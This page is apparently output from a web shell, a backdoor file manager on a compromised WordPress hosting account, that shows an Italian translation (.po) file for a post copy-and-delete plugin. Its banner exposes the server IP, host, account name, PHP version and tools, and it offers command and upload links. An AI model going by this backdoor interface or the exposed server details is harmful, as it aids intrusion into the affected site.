|
Server IP : 10.131.40.8 / Your IP : 216.73.216.37 Web Server : Apache System : Linux webd008.cluster131.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64 User : ludmqhh ( 137773) PHP Version : 8.4.10 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/ludmqhh/www/hotel-forum/wp-content/languages/plugins/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
# Translation of Plugins - Duplicate Post - Stable (latest release) in Italian # This file is distributed under the same license as the Plugins - Duplicate Post - Stable (latest release) package. msgid "" msgstr "" "PO-Revision-Date: 2023-12-29 14:01:36+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Generator: GlotPress/4.0.1\n" "Language: it\n" "Project-Id-Version: Plugins - Duplicate Post - Stable (latest release)\n" #: menu/configuration.php:618 msgid "Enable \"Try it out\" buttons in add new plugin screen." msgstr "Abilita i pulsanti 'Provalo' nella schermata di aggiunta di un nuovo plugin." #: menu/configuration.php:608 msgid "add new plugins" msgstr "aggiungi nuovi plugin" #: menu/configuration.php:634 msgid "Adjust URLs in post content for new subsite" msgstr "Modifica gli URL nei contenuti degli articoli per il nuovo sottosito" #: menu/modal.php:56 menu/tooltips.php:118 msgid "Select all" msgstr "Seleziona tutto" #: menu/configuration.php:644 msgid "Move <b>Copy & Delete Posts</b> <u>menu item</u> under <b>Tools</b> dropdown" msgstr "Sposta la <u>Voce di menu</u> <b>Copia & Elimina Post</b> sotto il menu a discesa <b>Strumenti</b>" #: menu/configuration.php:343 menu/modal.php:196 menu/tooltips.php:257 msgid "All post meta" msgstr "Tutti i meta dati dei post" #: menu/variables.php:115 msgid "Ok, done!" msgstr "Ok, fatto!" #: menu/variables.php:112 msgid "No, I don't want to help you to improve the plugin." msgstr "No, non voglio aiutarvi a migliorare il plugin." #: menu/variables.php:106 msgid "Trouble logging in there?" msgstr "Problemi di accesso?" #: menu/variables.php:101 msgid "Go to forum" msgstr "Vai al forum" #: menu/variables.php:90 msgid "However, we noticed some optimization potential on your server." msgstr "Tuttavia, abbiamo notato che c'è ancora un potenziale di ottimizzazione sul tuo server." #: menu/variables.php:84 msgid "Copy worked!" msgstr "Copia riuscita!" #: menu/variables.php:44 msgid "%b_start%Please%b_end% copy below logs %a_start%into the forum%a_end% so that we can make the plugin even better (for free)!" msgstr "%b_start%Ti preghiamo di%b_end% copiare i seguenti registri %a_start%nel forum%a_end% in modo da poter migliorare ulteriormente il plugin (gratis)." #: post/handler.php:691 msgid "Invalid ID argument." msgstr "Argomento ID non valido." #: menu/variables.php:96 msgid "Copy logs" msgstr "Copia i registri" #: copy-delete-posts.php:898 msgid "Copy to clipboard failed, your browser does not support this function." msgstr "Copia negli appunti non riuscita, il tuo browser non supporta questa funzione." #: copy-delete-posts.php:897 msgid "Copy to clipboard was successfull." msgstr "Copia negli appunti riuscita." #: post/handler.php:1570 msgid "We couldn't catch current tasks, please try again later." msgstr "Impossibile recuperare i processi correnti, riprova più tardi." #: menu/variables.php:146 msgid "Average time is 8 copies per second." msgstr "Il tempo medio è di 8 copie al secondo." #: menu/variables.php:143 msgid "" "If you’re making a lot of copies it can take a while\n" " <br>(up to 5 minutes if you’re on a slow server)." msgstr "" "La creazione di molteplici copie può richiedere un po' di tempo\n" " <br>(fino a 5 minuti su un server lento)." #: post/handler.php:1441 msgid "You can't clear messages when tasks are in progress, please firstly kill tasks or wait till the end." msgstr "Non è possibile eliminare i messaggi quando i processi sono in esecuzione, termina prima i processi o attendi fino al completamento." #: menu/variables.php:141 msgid "Please wait, copying in progress..." msgstr "Attendere, copia in corso..." #: menu/variables.php:136 msgid "Successfull copy image" msgstr "Immagine copiata con successo" #: menu/tooltips.php:275 msgid "to" msgstr "a" #: menu/tooltips.php:99 msgid "define it for this case" msgstr "definiscilo per questo caso" #: menu/tooltips.php:223 msgid "Link cats" msgstr "Categorie link" #: menu/tooltips.php:46 msgid "Copy now!" msgstr "Copia ora!" #: menu/notifications.php:95 msgid "Clear notifiactions" msgstr "Elimina notifiche" #: menu/notifications.php:68 msgid "Done:" msgstr "Completato:" #: menu/notifications.php:45 msgid "In progress:" msgstr "In corso:" #: menu/modal.php:243 menu/tooltips.php:294 msgid "Copy it!" msgstr "Copialo!" #: menu/modal.php:245 menu/tooltips.php:296 msgid "Copy and jump to editing" msgstr "Copia e vai a modificare" #: menu/modal.php:239 menu/tooltips.php:103 menu/tooltips.php:290 msgid "Making more than 50 copies will take some time. – depending on your server." msgstr "La creazione di oltre 50 copie richiederà un po' di tempo. – a seconda del server." #: menu/modal.php:218 menu/modal.php:230 menu/tooltips.php:63 #: menu/tooltips.php:279 msgid "this site" msgstr "questo sito" #: menu/modal.php:212 menu/tooltips.php:57 menu/tooltips.php:273 msgid "time(s)" msgstr "volta/e" #: menu/modal.php:189 menu/tooltips.php:250 msgid "USM Settings" msgstr "Impostazioni USM" #: menu/modal.php:181 menu/tooltips.php:242 msgid "Yoast Settings" msgstr "Impostazioni Yoast" #: menu/modal.php:173 menu/tooltips.php:234 msgid "Woo Settings" msgstr "Impostazioni Woo" #: menu/modal.php:167 menu/tooltips.php:228 msgid "Plugin options:" msgstr "Opzioni plugin: " #: menu/modal.php:104 menu/tooltips.php:165 msgid "Feat. image" msgstr "Immagine in evidenza" #: menu/modal.php:58 menu/tooltips.php:120 msgid "–– Profiles ––" msgstr "–– Profili ––" #: post/handler.php:1555 msgid "We can't confirm that we killed this task now, please try again later or check if it't killed." msgstr "Non è possibile confermare la terminazione del processo ora, riprova più tardi o controlla se è terminato." #: post/handler.php:1516 msgid "We can't hide this task now, – maybe it't already hidden. Please try again later." msgstr "Non è possibile nascondere questo processo ora, – forse è già nascosto. Riprova più tardi." #: menu/modal.php:57 menu/tooltips.php:119 msgid "Clean slate" msgstr "Tabula rasa" #: menu/modal.php:55 menu/tooltips.php:77 menu/tooltips.php:117 msgid "–– Select ––" msgstr "–– Seleziona ––" #: menu/modal.php:52 menu/tooltips.php:115 msgid "Use as basis settings" msgstr "Usa come impostazioni di base:" #: menu/modal.php:48 menu/tooltips.php:111 msgid "Elements to copy:" msgstr "Elementi da copiare:" #: menu/configuration.php:990 menu/variables.php:107 msgid "Your account on Wordpress.org (where you open a new support thread) is different to the one you login to your WordPress dashboard (where you are now). If you don't have a WordPress.org account yet, please sign up at the top right on here. It only takes a minute :) Thank you!" msgstr "Il tuo account di WordPress.org (dove puoi aprire un nuovo thread di supporto) è diverso da quello con cui accedi alla tua bacheca di WordPress (dove sei ora). Se non hai ancora un account WordPress.org, iscriviti cliccando in alto a destra. Ci vorrà soltanto un minuto :) Grazie!" #: menu/configuration.php:990 msgid "<b>Questions?</b> We're happy to help in the <a href=\"https://wordpress.org/support/plugin/copy-delete-posts/#new-topic-0\" target=\"_blank\" style=\"text-decoration: none;\">Support Forum</a>." msgstr "<b>Hai domande?</b> Siamo felici di aiutarti nel <a href=\"https://wordpress.org/support/plugin/copy-delete-posts/\" target=\"_blank\" style=\"text-decoration: none;\">Forum di Supporto</a>." #: menu/configuration.php:969 msgid "You will be notified when the deletion process ends via <span class=\"cdp-green\">Admin Bar Menu</span>." msgstr "Verrai informato quando il processo di eliminazione sarà completato tramite il <span class=\"cdp-green\">Menu della Barra di Amministrazione</span>." #: menu/configuration.php:966 msgid "Delete selected pages/posts!" msgstr "Elimina le pagine/i post selezionati!" #: menu/configuration.php:963 msgid "I completed <u>all</u> steps, it’s ok!" msgstr "Ho completato <u>tutti</u> i passaggi con successo!" #: menu/configuration.php:950 msgid "Select this option to move deleted posts to trash (instead of deleting them permanently right away)." msgstr "Seleziona questa opzione per spostare i post eliminati nel cestino (invece di eliminarli subito definitivamente)" #: menu/configuration.php:948 msgid "Yes, keep deleted posts in trash!" msgstr "Sì, conserva i post eliminati nel cestino!" #: menu/configuration.php:944 msgid "Move post(s) to trash?" msgstr "Spostare il/i post nel cestino?" #: menu/configuration.php:938 msgid "If it’s necessary the process will dynamically slow down - depending on your server’s resource consumption. For example, if you’re using another plugin which is running a background process and it takes a lot of resources (+50%), our plugin will wait/slow down until the other process is complete." msgstr "Se necessario, il processo rallenterà dinamicamente - in base al consumo di risorse del server. Ad esempio, se utilizzi un altro plugin che sta eseguendo un processo in background e consuma molte risorse (+50%), il nostro plugin attenderà/rallenterà finché l'altro processo non sarà completo." #: menu/configuration.php:936 msgid "Enable this if you want to have your posts/pages getting deleted in batches (instead of all at once).<br />This reduces the risk of timeouts if you have a lot to delete.<br />" msgstr "Attiva questa opzione se vuoi che i post/le pagine vengano eliminati in batch (invece che tutti contemporaneamente). <br />Ciò riduce il rischio di timeout se hai tanti elementi da eliminare.<br />" #: menu/configuration.php:931 msgid "per minute" msgstr "al minuto" #: menu/configuration.php:925 msgid "Delete" msgstr "Elimina" #: menu/configuration.php:916 msgid "Deletion throttling" msgstr "Restrizioni di eliminazione" #: menu/configuration.php:912 msgid "Enable this if you want to redirect the urls from your deleted posts/pages to the main one you decided to keep." msgstr "Attivalo se vuoi reindirizzare gli url dai post/pagine eliminati a quello principale che hai deciso di mantenere." #: menu/configuration.php:901 msgid "Automatic redirection" msgstr "Reindirizzamento automatico" #: menu/configuration.php:894 msgid "Check if you need these features (optional):" msgstr "Controlla se ti servono queste funzionalità (facoltativo):" #: menu/configuration.php:890 msgid "Select all the posts & pages which should be deleted (by ticking the checkboxes in the table above)." msgstr "Seleziona tutti i post e le pagine che devono essere eliminate (spuntando i checkbox nella tabella precedente)." #: menu/configuration.php:886 msgid "Make sure you created a backup with, e.g. with <a href=\"https://wordpress.org/plugins/backup-backup/\" target=\"_blank\">this plugin</a>." msgstr "Assicurati di aver creato un backup, ad es. con <a href=\"https://wordpress.org/plugins/wp-clone-by-wp-academy/\" target=\"_blank\">questo plugin</a>." #: menu/configuration.php:880 msgid "Steps to deletion:" msgstr "Passaggi per l'eliminazione:" #: menu/configuration.php:875 msgid "You selected <b class=\"cdp-t-d-ct cdp-f-w-light\">0</b> pages/posts to be deleted" msgstr "Hai selezionato <b class=\"cdp-t-d-ct cdp-f-w-light\">0</b> pagine/post da eliminare" #: menu/configuration.php:867 msgid "<u class=\"cdp-d-select-all cdp-f-w-light\">Select all</u> (also from other pages)" msgstr "<u class=\"cdp-d-select-all cdp-f-w-light\">Seleziona tutto</u> (anche da altre pagine)" #: menu/configuration.php:850 msgid "# of words" msgstr "# di parole" #: menu/configuration.php:849 msgid "Date created" msgstr "Data di creazione" #: menu/configuration.php:848 msgid "Type" msgstr "Tipo" #: menu/configuration.php:847 msgid "Slug/URL" msgstr "Slug/URL" #: menu/configuration.php:834 msgid "per page" msgstr "per pagina" #: menu/configuration.php:821 msgid "Show" msgstr "Mostra" #: menu/configuration.php:813 msgid "Scan has found [<span id=\"cdp-d-table-pagi-ilosc-wynikow\" class=\"cdp-f-w-bold\"></span>] duplicates" msgstr "La scansione ha rilevato [<span id=\"cdp-d-table-pagi-ilosc-wynikow\" class=\"cdp-f-w-bold\"></span>] duplicati" #: menu/configuration.php:794 msgid "Delete ALL duplicates, don’t keep any (Be careful!)" msgstr "Elimina TUTTI i duplicati, non conservarne nessuno (Attenzione a questa opzione!)" #: menu/configuration.php:793 msgid "Keep the newest duplicate (typically the last copy you made)" msgstr "Mantieni il duplicato più recente (in genere l'ultima copia creata)" #: menu/configuration.php:792 msgid "Keep the oldest duplicate (typically the original)" msgstr "Mantieni il duplicato più vecchio (in genere l'originale)" #: menu/configuration.php:788 msgid "Which version do you want to keep?" msgstr "Quale versione vuoi mantenere?" #: menu/configuration.php:780 msgid "Huh?" msgstr "Uhm?" #: menu/configuration.php:776 msgid "Also count pages/posts of different types as duplicates" msgstr "Conta anche le pagine/i post di diversi tipi come duplicati" #: menu/configuration.php:775 msgid "Only count pages/posts of the same type as duplicates" msgstr "Conta anche le pagine/i post dello stesso tipo come duplicati" #: menu/configuration.php:800 msgid "<b>Filter results (optional)</b>: Only list them, if they<span id=\"cdpp-switch-mf\"> […]</span>" msgstr "<b>Filtra i risultati (facoltativo)</b>: Elencali solo se<span id=\"cdpp-switch-mf\"> […]</span>" #: menu/configuration.php:768 msgid "...need others? <a href=\"mailto:hi@copy-delete-posts.com\" target=\"_blank\">Suggest them!</a>" msgstr "...Hai bisogno di altro? <a href=\"mailto:hi@copy-delete-posts.com\" target=\"_blank\">Suggeriscilo!</a>" #: menu/configuration.php:766 msgid "Word count" msgstr "Conteggio parole" #: menu/configuration.php:764 msgid "Excerpt (<span class=\"cdp-no-empty-text\"><b>including</b> empty</span>)" msgstr "Riassunto (<span class=\"cdp-no-empty-text\"><b>comprendente</b> empty</span>)" #: menu/configuration.php:757 msgid "When does “yes” make sense here?" msgstr "Quando \"sì\" ha senso qui?" #: menu/configuration.php:755 msgid "No" msgstr "No" #: menu/configuration.php:752 msgid "Do you want to consider different titles still to be identical if a) the copied posts/pages<br />were created by this plugin and b) they were not modified thereafter?" msgstr "Vuoi considerare comunque identici titoli diversi se a) i post/le pagine copiati<br />sono stati creati da questo plugin e b) non sono stati successivamente modificati?" #: menu/configuration.php:747 msgid "Slugs are never 100% identical (i.e. Wordpress adds a counter automatically to ensure they are unique). The rule to only have them at least 85% identical does the job fine (you can see after the scan which posts are considered identical)." msgstr "Gli slug non sono mai identici al 100% (ad es. WordPress aggiunge automaticamente un contatore per garantire che siano unici). La regola di essere almeno all'85% identici funziona bene (dopo la scansione puoi vedere quali post vengono considerati identici)." #: menu/configuration.php:747 msgid "Similar slug" msgstr "Slug simile" #: menu/configuration.php:744 msgid "(show more options)" msgstr "(mostra più opzioni)" #: menu/configuration.php:736 msgid "Count them as duplicates if they are identical with respect to <u class=\"cdp-f-w-bold\">all</u> of the below..." msgstr "Contali come duplicati se sono identici per quanto riguarda <u class=\"cdp-f-w-bold\">tutti</u> i seguenti..." #: menu/configuration.php:731 msgid "Custom posts" msgstr "Post personalizzati" #: menu/configuration.php:757 msgid "The copies you created may have been given different titles automatically (according to the rules in <a href=\"#\" class=\"cdp-go-to-names-chapter\">this section</a>) and therefore would not count as duplicates as they have different titles.<br /><br />To remedy this, you can select “Yes” here so that those posts/pages also get considered as duplicates." msgstr "Alle copie che hai creato possono essere stati automaticamente attribuiti titoli diversi (in base alle regole stabilite in <a href=\"#\" class=\"cdp-go-to-names-chapter\">questa sezione</a>) e pertanto non verranno conteggiati come duplicati poiché hanno titoli diversi.<br /><br />Per ovviare a questo problema, puoi selezionare “Sì” qui, in modo che anche quei post/pagine vengano considerati come duplicati." #: menu/configuration.php:726 msgid "Scan for duplicates in..." msgstr "Cerca duplicati in..." #: menu/configuration.php:709 msgid "Go premium now" msgstr "Passa alla versione premium ora" #: menu/configuration.php:702 msgid "" "And: you can also use this feature for any other redirections you may need\n" " (not only redirects from deleted posts/pages)!" msgstr "" "Inoltre: puoi anche utilizzare questa funzionalità per qualsiasi altro reindirizzamento a te necessario\n" "(non solo i reindirizzamenti dai post/pagine eliminati)!" #: menu/configuration.php:699 msgid "This isn’t just good for your visitors, but also for SEO: the “link juice” from your old (deleted) articles will be forwarded to the versions you keep, helping you to rank higher in search engines." msgstr "Questo non è utile soltanto per i tuoi visitatori, ma anche per la SEO: il \"link juice\" dei tuoi vecchi articoli (eliminati) verrà trasmesso alle versioni che mantieni, aiutandoti a posizionarti più in alto nei motori di ricerca." #: menu/configuration.php:696 msgid "As part of the <span class=\"cdp-green\">premium plugin</span> you can enable redirects, so that the URLs of your deleted posts/pages automatically take visitors to the version which you decided to keep." msgstr "Come parte del <span class=\"cdp-green\">plugin premium</span> puoi attivare i reindirizzamenti, in modo che gli URL dei tuoi post/pagine eliminati portino automaticamente i visitatori alla versione che hai deciso di mantenere." #: menu/configuration.php:683 msgid "Redirection" msgstr "Reindirizzamento" #: menu/configuration.php:680 msgid "Automatic Cleanup" msgstr "Pulizia Automatica" #: menu/configuration.php:677 msgid "Manual Cleanup" msgstr "Pulizia Manuale" #: menu/configuration.php:672 msgid "" "Before you delete anything here (which cannot be undone!) we <b class=\"cdp-f-w-bold\">strongly suggest</b><br />\n" " that you create a backup, for example with <a href=\"https://wordpress.org/plugins/backup-backup/\" target=\"_blank\">this plugin</a>" msgstr "" "Prima di eliminare qualcosa qui (azione che non può essere annullata!) <b class=\"cdp-f-w-bold\">suggeriamo vivamente</b><br />\n" " di creare un backup, ad esempio con <a href=\"https://wordpress.org/plugins/wp-clone-by-wp-academy/\" target=\"_blank\">questo plugin</a>" #: menu/configuration.php:664 msgid "Delete duplicate posts/pages" msgstr "Elimina i post/le pagine duplicati" #: menu/configuration.php:657 msgid "...and after your copy frenzy, you may need to…" msgstr "...e dopo la frenesia della copia, potresti aver bisogno di..." #: menu/configuration.php:640 msgid "Show post export & import buttons" msgstr "Mostra i pulsanti di importazione ed esportazione dei post" #: menu/configuration.php:628 msgid "Hide copy tooltip on hover and only show the button" msgstr "Nascondi il tooltip di copia al passaggio del mouse e mostra solo il pulsante" #: menu/configuration.php:623 msgid "Additional features" msgstr "Funzionalità aggiuntive" #: menu/configuration.php:584 msgid "If checked, you will see a reference to the original post/page (on the copied version)." msgstr "Se selezionato, vedrai un riferimento al post/pagina originale (nella versione copiata)." #: menu/configuration.php:583 msgid "Show reference to original item?" msgstr "Mostrare il riferimento all'elemento originale?" #: menu/configuration.php:581 msgid "Gutenberg editor" msgstr "Editor Gutenberg" #: menu/configuration.php:580 msgid "Bulk actions menu" msgstr "Menu azioni di gruppo" #: menu/configuration.php:578 menu/configuration.php:587 msgid "Edit screens" msgstr "Modifica schermate" #: menu/configuration.php:577 menu/configuration.php:586 msgid "Posts/pages lists" msgstr "Elenchi post/pagine" #: menu/configuration.php:575 msgid "Display copy option on..." msgstr "Visualizza opzione di copia su..." #: menu/configuration.php:573 msgid "Custom posts types" msgstr "Tipi di post personalizzati" #: menu/configuration.php:572 menu/configuration.php:729 msgid "Posts" msgstr "Post" #: menu/configuration.php:571 menu/configuration.php:730 msgid "Pages" msgstr "Pagine" #: menu/configuration.php:569 msgid "Content types which can be copied" msgstr "Tipi di contenuto che possono essere copiati" #: menu/configuration.php:549 msgid "Which user role(s) should be able to copy & delete? <i style=\"color: gray\">– The role also must have access to the dashboard.</i>" msgstr "Quale/i ruolo/i utente dovrebbe(ro) essere in grado di copiare e eliminare? <i style=\"color: gray\">– Il ruolo deve avere accesso anche alla bacheca.</i>" #: menu/configuration.php:548 msgid "User level permissions" msgstr "Livelli di autorizzazione utente" #: menu/configuration.php:544 msgid "ALWAYS change the type when copied (posts will become pages, pages will become posts)" msgstr "Cambia SEMPRE il tipo quando vengono copiati (i post diventeranno pagine, le pagine diventeranno post)" #: menu/configuration.php:543 msgid "Copies will be the same type as the original" msgstr "Le copie saranno dello stesso tipo dell'originale" #: menu/configuration.php:538 msgid "However, if you want it as a <b class=\"cdp-f-w-bold\">default setting option</b>, then please select it below: " msgstr "Tuttavia, se la desideri come <b class=\"cdp-f-w-bold\">opzione di impostazione preferita</b>, selezionala qui sotto:" #: menu/configuration.php:536 msgid "By default, the type of what you copy does not change, i.e. if you copy a post the new version will also be a post, and the same for pages." msgstr "Per impostazione predefinita, il tipo di elemento che copi non cambia, ad es. se copi un post anche la nuova versione sarà un post, e lo stesso vale per le pagine." #: menu/configuration.php:537 msgid "If you want to make a page out of a post, or vice versa, then you can do this on a <b class=\"cdp-f-w-bold\">case by case basis</b> if you select the option “Define it specifically for this case” in the copy-tooltip, and then select this option on the following screen in the tooltip." msgstr "Se vuoi creare una pagina da un post, o viceversa, puoi farlo <b class=\"cdp-f-w-bold\">caso per caso</b> selezionando l'opzione \"Definisci appositamente per questo caso\" nel tooltip di copia, poi seleziona questa opzione nella schermata successiva del tooltip." #: menu/configuration.php:532 msgid "Pages vs. Posts converter" msgstr "Convertitore di Pagine vs. Post" #: menu/configuration.php:528 msgid "If you created multiple copies in one go, you’ll be taken to the first copy." msgstr "Se hai creato molteplici copie contemporaneamente, verrai reindirizzato alla prima copia." #: menu/configuration.php:525 msgid "Decide on a case-by-case basis (adds new button on copy screen)" msgstr "Decidi caso per caso (aggiunge un nuovo pulsante nella schermata di copia)" #: menu/configuration.php:524 msgid "Take me to the edit-page of the created copy" msgstr "Portami alla pagina di modifica della copia creata" #: menu/configuration.php:523 msgid "Leave me where I was" msgstr "Lasciami nello stesso posto" #: menu/configuration.php:519 msgid "Navigation after copying" msgstr "Navigazione dopo la copia" #: menu/configuration.php:513 msgid "<b class=\"cdp-ff-b4\">Other</b> options" msgstr "<b class=\"cdp-ff-b4\">Altre</b> opzioni" #: menu/configuration.php:496 msgid "If you’re not of the drag & droppy-type, you can also enter shortcodes [Counter], [CurrentDate] and [CurrentTime]." msgstr "Se non sei abituato a trascinare e rilasciare, puoi inserire anche gli shortcode [Counter], [CurrentDate] e [CurrentTime]." #: menu/configuration.php:495 msgid "You can also type tailored text into the fields above." msgstr "Puoi anche digitare un testo personalizzato nei campi sopra." #: menu/configuration.php:491 msgid "Adds the <b class=\"cdp-f-w-semi-bold\">current time</b> in hh:mm:ss format" msgstr "Aggiunge l'<b class=\"cdp-f-w-semi-bold\">ora corrente</b> nel formato hh:mm:ss" #: menu/configuration.php:489 msgid "CurrentTime" msgstr "OraCorrente" #: menu/configuration.php:482 msgid "format." msgstr "formato." #: menu/configuration.php:479 menu/modal.php:59 menu/tooltips.php:121 msgid "Custom" msgstr "Personalizzato" #: menu/configuration.php:478 msgid "dd/mm/yyyy" msgstr "gg/mm/aaaa" #: menu/configuration.php:497 msgid "If you make multiple copies in one go, use the Counter-option as otherwise some copies will have the same name." msgstr "Se crei più copie contemporaneamente, utilizza l'opzione Contatore, altrimenti alcune copie avranno lo stesso nome." #: menu/configuration.php:477 msgid "mm/dd/yyyy" msgstr "mm/gg/aaaa" #: menu/configuration.php:474 msgid "Adds the <b class=\"cdp-f-w-semi-bold\">current date</b> in" msgstr "Aggiunge la <b class=\"cdp-f-w-semi-bold\">data corrente</b> in" #: menu/configuration.php:469 msgid "CurrentDate" msgstr "DataCorrente" #: menu/configuration.php:465 msgid "Adds an <b class=\"cdp-f-w-semi-bold\">incremental counter</b> (starting with “2”)" msgstr "Aggiunge un <b class=\"cdp-f-w-semi-bold\">contatore incrementale</b> (partendo da “2”)" #: menu/configuration.php:463 msgid "Counter" msgstr "Contatore" #: menu/configuration.php:459 msgid "Drag & drop the automatic elements into the Prefix/Suffix fields to add them." msgstr "Trascina e rilascia gli elementi automatici nei capi Prefisso/Suffisso per aggiungerli." #: menu/configuration.php:443 msgid "Change to blank" msgstr "Cambia in vuoto" #: menu/configuration.php:434 msgid "Suffix" msgstr "Suffisso" #: menu/configuration.php:432 msgid "Prefix" msgstr "Prefisso" #: menu/configuration.php:428 msgid "Build your preferred naming logic for the copies:" msgstr "Crea la tua logica di nominazione preferita per le copie:" #: menu/configuration.php:411 menu/configuration.php:502 #: menu/configuration.php:650 menu/configuration.php:973 msgid "Close section" msgstr "Chiudi sezione" #: menu/configuration.php:409 menu/configuration.php:500 #: menu/configuration.php:648 msgid "Save" msgstr "Salva" #: menu/configuration.php:452 msgid "Example based on current selections:" msgstr "Esempio basato sulle selezioni correnti:" #: post/handler.php:1532 msgid "This task has already ended this work, please wait for list refresh and try again." msgstr "Questo processo ha già terminato l'attività, attendi che l'elenco si aggiorni e riprova." #: menu/configuration.php:398 msgid "…the same settings from the <a href=\"https://wordpress.org/plugins/wordpress-seo/\" target=\"_blank\"><span class=\"cdp-green\">Yoast SEO plugin</span></a> as the original." msgstr "...le stesse impostazioni dal <a href=\"https://wordpress.org/plugins/wordpress-seo/\" target=\"_blank\"><span class=\"cdp-green\">plugin Yoast SEO</span></a> come l'originale." #: menu/configuration.php:393 msgid "Yoast SEO Settings" msgstr "Impostazioni Yoast SEO" #: menu/configuration.php:381 msgid "…the same settings from the <a href=\"https://www.ultimatelysocial.com/usm-premium/\" target=\"_blank\"><span class=\"cdp-green\">Ultimate Social Media plugin</span></a> as the original." msgstr "...le stesse impostazioni dal <a href=\"https://www.ultimatelysocial.com/usm-premium/\" target=\"_blank\"><span class=\"cdp-green\">plugin Ultimate Social Media</span></a> come l'originale." #: menu/configuration.php:376 msgid "Ultimate Social Media Settings" msgstr "Impostazioni Ultimate Social Media" #: menu/configuration.php:364 msgid "…the same settings from the <a href=\"https://wordpress.org/plugins/woocommerce/\" target=\"_blank\"><span class=\"cdp-green\">WooCommerce plugin</span></a> as the original." msgstr "...le stesse impostazioni dal <a href=\"https://wordpress.org/plugins/woocommerce/\" target=\"_blank\"><span class=\"cdp-green\">plugin WooCommerce</span></a> come l'originale." #: menu/configuration.php:359 msgid "WooCommerce Settings" msgstr "Impostazioni WooCommerce" #: menu/configuration.php:330 menu/modal.php:162 msgid "Link categories" msgstr "Categorie dei Link" #: menu/configuration.php:321 menu/modal.php:158 msgid "Navigation Menus" msgstr "Menu di navigazione" #: menu/configuration.php:806 msgid "Scan for duplicates now!<br /><small class=\"cdp-sm-d cdp-f-s-17 cdp-f-w-medium\">(at this point nothing gets deleted)</small>" msgstr "Cerca i duplicati ora! <br /><small class=\"cdp-sm-d cdp-f-s-17 cdp-f-w-medium\">(in questa fase non viene eliminato nulla)</small>" #: menu/configuration.php:309 menu/modal.php:154 menu/tooltips.php:215 msgid "Taxonomies" msgstr "Tassonomie" #: menu/configuration.php:304 menu/modal.php:150 menu/tooltips.php:211 msgid "Tags" msgstr "Tag" #: menu/configuration.php:299 menu/modal.php:144 menu/tooltips.php:205 msgid "Categories" msgstr "Categorie" #: menu/configuration.php:294 menu/modal.php:136 menu/tooltips.php:197 msgid "Menu order" msgstr "Ordine menu" #: menu/configuration.php:289 menu/modal.php:132 menu/tooltips.php:193 msgid "Comments" msgstr "Commenti" #: menu/configuration.php:284 menu/modal.php:126 menu/tooltips.php:187 msgid "Children" msgstr "Pagine Figlie" #: menu/configuration.php:279 menu/modal.php:140 menu/tooltips.php:201 msgid "Attachments" msgstr "Allegati" #: menu/configuration.php:274 menu/modal.php:122 menu/tooltips.php:183 msgid "Password" msgstr "Password" #: menu/configuration.php:269 menu/modal.php:118 menu/tooltips.php:179 msgid "Author" msgstr "Autore" #: menu/configuration.php:264 menu/modal.php:114 menu/tooltips.php:175 msgid "Format" msgstr "Formato" #: menu/configuration.php:259 menu/modal.php:108 menu/tooltips.php:169 msgid "Template" msgstr "Template" #: menu/configuration.php:254 msgid "Featured image" msgstr "Immagine in evidenza" #: menu/configuration.php:249 menu/modal.php:100 menu/tooltips.php:161 msgid "Content" msgstr "Contenuto" #: menu/configuration.php:244 menu/modal.php:96 menu/tooltips.php:157 msgid "Excerpt" msgstr "Riassunto" #: menu/configuration.php:239 menu/modal.php:90 menu/tooltips.php:151 msgid "Slug" msgstr "Slug" #: menu/configuration.php:234 menu/modal.php:86 menu/tooltips.php:147 msgid "Status" msgstr "Stato" #: menu/configuration.php:229 menu/modal.php:82 menu/tooltips.php:143 msgid "Date" msgstr "Data" #: menu/configuration.php:224 menu/configuration.php:741 #: menu/configuration.php:846 menu/modal.php:78 menu/tooltips.php:139 msgid "Title" msgstr "Titolo" #: menu/configuration.php:219 msgid "<b>If <u class=\"cdp-f-w-bold\">un</u>checked</b> copies will..." msgstr "<b>Se <u class=\"cdp-f-w-bold\">un</u>selezionato,</b> le copie..." #: menu/configuration.php:218 msgid "<b>If checked</b> copies will..." msgstr "<b>Se selezionato,</b> le copie..." #: menu/configuration.php:208 msgid "Which <b class=\"cdp-ff-b4\">elements</b> shall be copied?" msgstr "Quali <b class=\"cdp-ff-b4\">elementi</b> devono essere copiati?" #: menu/configuration.php:196 msgid "+ Add / manage / import / export settings" msgstr "+ Aggiungi / gestisci / importa / esporta impostazioni" #: menu/configuration.php:189 msgid "settings" msgstr "impostazioni" #: menu/configuration.php:185 msgid "Add new" msgstr "Aggiungi nuovo" #: menu/configuration.php:184 menu/modal.php:67 menu/tooltips.php:85 #: menu/tooltips.php:129 msgid "Default" msgstr "Predefinito" #: menu/configuration.php:422 msgid "What <b class=\"cdp-ff-b4\">name(s)</b> should the copies have?" msgstr "Quale/i <b class=\"cdp-ff-b4\">nome/i</b> dovrebbero avere le copie?" #: menu/configuration.php:365 menu/configuration.php:382 #: menu/configuration.php:399 msgid "…get empty settings." msgstr "...avranno le impostazioni vuote." #: menu/configuration.php:349 msgid "…copy only required post/page metadata." msgstr "...verranno copiati solo i metadati del post/pagina richiesti." #: menu/configuration.php:348 msgid "…clone all metadata tags assigned to post/page." msgstr "...verranno clonati tutti i tag dei metadati assegnati al post/pagina." #: menu/configuration.php:327 menu/configuration.php:332 msgid "…be without private taxonomy." msgstr "...non avranno una tassonomia privata." #: menu/configuration.php:326 menu/configuration.php:331 msgid "…get this private taxonomy from the original." msgstr "...otterranno questa tassonomia privata dall'originale." #: menu/configuration.php:311 msgid "…be without custom taxonomy." msgstr "...non avranno una tassonomia personalizzata." #: menu/configuration.php:310 msgid "…get all custom taxonomy from the original." msgstr "...otterranno tutte le tassonomie personalizzate dall'originale." #: menu/configuration.php:306 msgid "…be without any tags." msgstr "...non avranno nessun tag." #: menu/configuration.php:305 msgid "…get all tags of the original post." msgstr "...riporteranno tutti i tag del post originale." #: menu/configuration.php:301 msgid "…be Uncategorized, no categories will be copied." msgstr "...saranno Senza Categoria, nessuna categoria verrà copiata." #: menu/configuration.php:300 msgid "…get all categories from the original post." msgstr "...riporteranno tutte le categorie del post originale." #: menu/configuration.php:296 msgid "…get the menu order set to default (0)." msgstr "...verrà impostato l'ordine del menu sul valore predefinito (0)." #: menu/configuration.php:291 